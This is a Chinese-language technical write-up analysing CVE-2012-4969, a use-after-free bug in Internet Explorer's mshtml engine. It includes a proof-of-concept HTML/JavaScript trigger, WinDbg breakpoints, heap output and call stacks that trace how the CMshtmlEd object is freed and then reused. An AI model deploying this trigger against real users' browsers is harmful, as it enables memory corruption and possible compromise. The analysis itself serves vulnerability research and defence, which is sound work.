CVE-2012-4969分析

浏览:
字体:
发布时间:2013-12-09 23:23:11
来源:
1.  Poc
 
<HTML><BODY><script>   var arrr = new Array();    arrr[0] = window.document.createElement("img");    arrr[0]["src"] = "W";</script><iframe src="CVE-2012-4969.HTML"></iframe> </body></HTML>  CVE-2012-4969.HTML<HTML><script>  function funcB() {   document.execCommand("selectAll");  };  function funcA() {   document.write("Y");parent.arrr[0].src = "YMjf/u0c08/u0c0cKDogjsiIejengNEkoPDjfiJDIWUAzdfghjAAuUFGGBSIPPPUDFJKSOQJGH";  };</script><body onload='funcB();' onselect='funcA()'> < div contenteditable='true'>   a  </div> </body></HTML>

 

 
2.  基本知识点
CMshtmlEd:这个类的基本功能是分发IOleCommandTarget命令到Tridnet range objects
CEditRouter:消息分发类
CHTMLEditor:消息管理类
CCommand:消息的具体实现类,可以看成是一个二叉树的node。多个CCommand组成一个CCommandTable。
这些类的基本关系是:
CHTMLEditor管理CCommandTable所包含的消息,每一个消息都有一个cmd_id。
当CEditRouter路由消息时,会获取相应的CHTMLEditor。CHTMLEditor会根据具体的情况决定是否创建CMshtmlEd。
在命令路由的过程中,最终会到达CMshtmlEd::Exec函数。该函数通过消息ID,获得最后的消息类CCommand,执行相关的命令。
 
 
3.  分配
当CVE-2012-4969.HTML被加载时,在onload时刻,funcB函数被执行。
funcB中
   document.execCommand("selectAll");
会创建CMshtmlEd对象,来执行相关命令。
   在windbg中设置如下断点,来监视CMshtmlEd的创建和释放。
0:008> bl 0 e 6375bf32     0001 (0001)  0:**** mshtml!CMshtmlEd::~CMshtmlEd 1 e 6359de45     0001 (0001)  0:**** mshtml!CMshtmlEd::CMshtmlEd 2 e 637d45bc     0001 (0001)  0:**** mshtml!CMshtmlEd::Exec 3 e 637d464b     0001 (0001)  0:**** mshtml!CMshtmlEd::Exec+0x131

 




在构造函数中,可以看到CMshtmlEd对象的地址是:05f06f78
 
0:008> !heap -p -a edx    address 05f06f78 found in    _DPH_HEAP_ROOT @ 151000    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)                                 3939c20:          5f06f78               88 -          5f06000             2000          mshtml!CMshtmlEd::`vftable'    7c938f01 ntdll!RtlAllocateHeap+0x00000e64    6359dab5 mshtml!CHTMLEditor::AddCommandTarget+0x00000020    6385ac44 mshtml!CHTMLEditor::GetCommandTarget+0x00000094    637d41c5 mshtml!CHTMLEditorProxy::GetCommandTarget+0x0000001e    637d4091 mshtml!CEditRouter::SetInternalEditHandler+0x00000064    637d4355 mshtml!CEditRouter::ExecEditCommand+0x000000ac    637be2fc mshtml!CDoc::ExecHelper+0x00003c91    638afda7 mshtml!CDocument::Exec+0x00000024    638ee2a9 mshtml!CBase::execCommand+0x00000050    638b167b mshtml!CDocument::execCommand+0x00000093    638e7445 mshtml!Method_VARIANTBOOLp_BSTR_oDoVARIANTBOOL_o0oVARIANT+0x00000149    636430c9 mshtml!CBase::ContextInvokeEx+0x000005d1    63643595 mshtml!CBase::InvokeEx+0x00000025    63643832 mshtml!DispatchInvokeCollection+0x0000014b    635e1cdc mshtml!CDocument::InvokeEx+0x000000f1    63642f30 mshtml!CBase::VersionedInvokeEx+0x00000020

 

G运行后,
在CMshtmlEd处断下:

 

CMshtmlEd::Exec的基本功能就是通过cmd_id获得对应的CCommand对象,而后通过CCommand对象执行命令。

获得CSelectAllCommand的地址后:060a8fe8,通过CSelectAllCommand对象执行Exec函数。重点在该函数的执行,下面会详细讲解。
4.  释放
在上述过程创建完CMshtmlEd对象,获得CCommand的地址后,调用Exec函数。在Poc脚本中,可以知道,CSelectAllCommand命令的执行,将会调用funcA函数,从而调用document.write。
 
function funcA() {   document.write("Y");parent.arrr[0].src = "YMjf/u0c08/u0c0cKDogjsiIejengNEkoPDjfiJDIWUAzdfghjAAuUFGGBSIPPPUDFJKSOQJGH";  };

 

在CDocument::write设置断点:
4 e 63773f06     0001 (0001)  0:**** mshtml!CDocument::write
 G后运行:
0:008> kvChildEBP RetAddr  Args to Child             038f84e8 63774271 062fafc8 041b0fe8 043bafd0 mshtml!CDocument::write038f8508 636430c9 062fafc8 043bafd0 041acfd8 mshtml!Method_void_SAFEARRAYPVARIANTP+0x85jscript!ScrFncObj::CallWithFrameOnStack+0xff038f8b70 633a5743 038f8b9c 00000000 0448ce20 jscript!ScrFncObj::Call+0x8f038f8bec 633a8bc7 04458f88 038fafe8 00000000 jscript!CSession::Execute+0x175038f8cd4 633a8a35 04458f88 00000000 00000001 jscript!NameTbl::InvokeDef+0x1b8038f8d58 633a6d37 04458f88 00000000 00000001 jscript!NameTbl::InvokeEx+0x129038f8d98 633a6c75 0449ed10 00000000 00000001 jscript!IDispatchExInvokeEx2+0xf8038f8dd4 63399186 0449ed10 00000001 00000001 jscript!IDispatchExInvokeEx+0x6a038f8e64 635fe083 038f8e28 00000004 00000001 jscript!NameTbl::InvokeEx+0x372038f8e9c 635fdfab 06380fb0 00000001 00000001 mshtml!CScriptCollection::InvokeEx+0x8a038fbdac 639db7af 05f92f38 0564eff0 05652ff0 mshtml!CSelectionManager::Select+0x761038fbe00 63a04421 05f92f38 05f08fc0 038fbe24 mshtml!CSelectionManager::SelectAll+0x27c038fbe48 637d46b1 00000002 00000000 00000000 mshtml!CSelectAllCommand::PrivateExec+0x1f3038fbe68 637d4649 00000002 00000000 00000000 mshtml!CCommand::Exec+0x48038fbe8c 637d4387 05f06f78 6361bad0 0000001f mshtml!CMshtmlEd::Exec+0x128038fbebc 637be2fc 6361bad0 0000001f 00000002 mshtml!CEditRouter::ExecEditCommand+0xd6

 

 
看蓝色的部分,可以知道 Exec执行的过程中,会调用document.write函数重写页面,页面的重写,将导致和页面相关的CMshtmlEd对象被释放:
       G后继续运行,在mshtml!CMshtmlEd::~CMshtmlEd断下:
      
这里可以看到,被析构的CMshtmlEd对象正是我们跟踪的那个0x05f06f78。
0:008> kvChildEBP RetAddr  Args to Child             038f8278 6375bf17 05f06f78 038f829c 639d53d6 mshtml!CMshtmlEd::~CMshtmlEd+0xf (FPO: [0,0,0])038f8284 639d53d6 05f06f78 05434f20 00000000 mshtml!CMshtmlEd::Release+0x16038f829c 639d0d30 05f06f78 041aefd8 00000000 mshtml!CHTMLEditor::DeleteCommandTarget+0x34038f82c8 6385ac12 038f82ec 6361c270 05434f20 mshtml!CHTMLEditor::RemoveContainer+0x15f038f82d0 6361c270 05434f20 0000000f 062d2f30 mshtml!CHTMLEditor::Notify+0x26038f82ec 6360feb4 05434f20 0000000f 062d2f30 mshtml!CHTMLEditorProxy::Notify+0x21038f8308 637e6671 062d2f30 00000000 041bef30 mshtml!CDoc::NotifySelection+0x59038f8370 637525ff 041bef30 00000000 00000003 mshtml!COmWindowProxy::SwitchMarkup+0x347038f846c 637561c5 062fafc8 00000000 00000000 mshtml!CDocument::open+0x417038f84e8 63774271 062fafc8 041b0fe8 043bafd0 mshtml!CDocument::write+0x7c038f8508 636430c9 062fafc8 043bafd0 041acfd8 mshtml!Method_void_SAFEARRAYPVARIANTP+0x85038f857c 63643595 062fafc8 0000041e 00000001 mshtml!CBase::ContextInvokeEx+0x5d1038fbdac 639db7af 05f92f38 0564eff0 05652ff0 mshtml!CSelectionManager::Select+0x761038fbe00 63a04421 05f92f38 05f08fc0 038fbe24 mshtml!CSelectionManager::SelectAll+0x27c038fbe48 637d46b1 00000002 00000000 00000000 mshtml!CSelectAllCommand::PrivateExec+0x1f3038fbe68 637d4649 00000002 00000000 00000000 mshtml!CCommand::Exec+0x48038fbe8c 637d4387 05f06f78 6361bad0 0000001f mshtml!CMshtmlEd::Exec+0x128038fbebc 637be2fc 6361bad0 0000001f 00000002 mshtml!CEditRouter::ExecEditCommand+0xd6038fc278 638afda7 062fafc8 6361bad0 0000001f mshtml!CDoc::ExecHelper+0x3c91038fc298 638ee2a9 062fafc8 6361bad0 0000001f mshtml!CDocument::Exec+0x24

 

析构完成后,在mshtml!CMshtmlEd::Release中,对象最终被释放。

CEditRouter::SetInternalEditHandler
 
看此时的调用链表:



       看此时的调用链表:
       CMshtmlEd::Exec
              CCommand::Exec
           CMshtmlEd::Release
       也就是在CMshtlEd::Exec函数还没执行完成时,CMshtmlEd对象已经被释放,这是导致释放后重用的原因。
5.  重用
在 释放 中,CMshtmlEd::Exec还没执行完成,CMshtmlEd对象已经被释放。
下面看回到Exec函数时的情况:

在CCommand::Exec执行完毕后,会获取CMshtmlEd对象的内容,其中edi为其地址,这里可以看到,该地址已经被重用了,所表示的也不在是CMshtmlEd对象:
!heap -p -a edi    address 05f06f78 found in    _DPH_HEAP_ROOT @ 151000    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)                                 3939c20:          5f06fa0               5c -          5f06000             2000          mshtml!COmWindowProxy::`vftable'    7c938f01 ntdll!RtlAllocateHeap+0x00000e64    637dedf4 mshtml!COmWindowProxy::SecureObject+0x000000bf    637759b7 mshtml!COmWindowProxy::get_parent+0x00000037    636237bb mshtml!G_IDispatchp+0x0000007b    636430c9 mshtml!CBase::ContextInvokeEx+0x000005d1    63643595 mshtml!CBase::InvokeEx+0x00000025    636434e4 mshtml!COmWindowProxy::InvokeEx+0x000002c7    636435c4 mshtml!COmWindowProxy::subInvokeEx+0x00000026    63642f30 mshtml!CBase::VersionedInvokeEx+0x00000020    63642eec mshtml!PlainInvokeEx+0x000000ea    633a6d37 jscript!IDispatchExInvokeEx2+0x000000f8    633a6c75 jscript!IDispatchExInvokeEx+0x0000006a    633a9cfe jscript!InvokeDispatchEx+0x00000098    633a9d79 jscript!VAR::InvokeByDispID+0x00000154    633a9dd8 jscript!VAR::InvokeDispMem+0x00000033    633a9d9a jscript!NameTbl::GetValCore+0x00000093

 

当继续运行时:由于错误的地址被当作CMshtmlEd对象,会导致内存破会。
 

 
6.  小结
1〉document.execCommand("selectAll");的执行,会生出CmshtmlEd A对象。并且在CmshtmlEd对象中会调用相应的函数A.exec,去调用document.write("c")
2〉document.write("c")的执行,会释放A。
3〉当返回到A.exec继续运行时,由于需要访问A的成员,而A已经释放,导致释放后重用问题
>更多相关文章
24小时热门资讯
24小时回复排行
资讯 | QQ | 安全 | 编程 | 数据库 | 系统 | 网络 | 考试 | 站长 | 关于东联 | 安全雇佣 | 搞笑视频大全 | 微信学院 | 视频课程 |
关于我们 | 联系我们 | 广告服务 | 免责申明 | 作品发布 | 网站地图 | 官方微博 | 技术培训
Copyright © 2007 - 2023 Vm888.Com. All Rights Reserved
粤公网安备 44060402001498号 粤ICP备19097316号 请遵循相关法律法规
');})();